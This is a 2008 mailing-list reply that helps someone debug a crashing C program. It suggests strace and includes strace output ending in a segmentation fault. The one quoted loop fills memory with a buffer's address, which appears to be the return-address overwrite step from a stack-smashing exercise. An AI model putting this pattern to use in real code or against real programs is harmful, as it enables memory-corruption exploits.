Hello, there was a long time since I coded some C, but maybe here is some help: strace ./test <-- use STRACE to see some more detail... Here is proboby your error... ----- CODE ----- for (i = 0; i < 32; i++) *(long_ptr + i) = (long)&buffer; ----- /CODE ----- ----- strace ----- execve("./test", ["./test"], [/* 36 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f4c000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=59381, ...}) = 0 mmap2(NULL, 59381, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f3d000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300e\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1413540, ...}) = 0 mmap2(NULL, 1418864, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7de2000 mmap2(0xb7f37000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_DENYWRITE, 3, 0x155) = 0xb7f37000 mmap2(0xb7f3a000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_ANONYMOUS, -1, 0) = 0xb7f3a000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7de1000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7de16b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7f37000, 4096, PROT_READ) = 0 munmap(0xb7f3d000, 59381) = 0 --- SIGSEGV (Segmentation fault) @ 0 (0) --- +++ killed by SIGSEGV +++ Process 28060 detached ------ /strace ------ Kind regards Patrik Båt tis 2008-03-11 klockan 11:38 +0530 skrev Varun Chandramohan: > Hi all, > > Can someone tell me whats is wrong with this program?
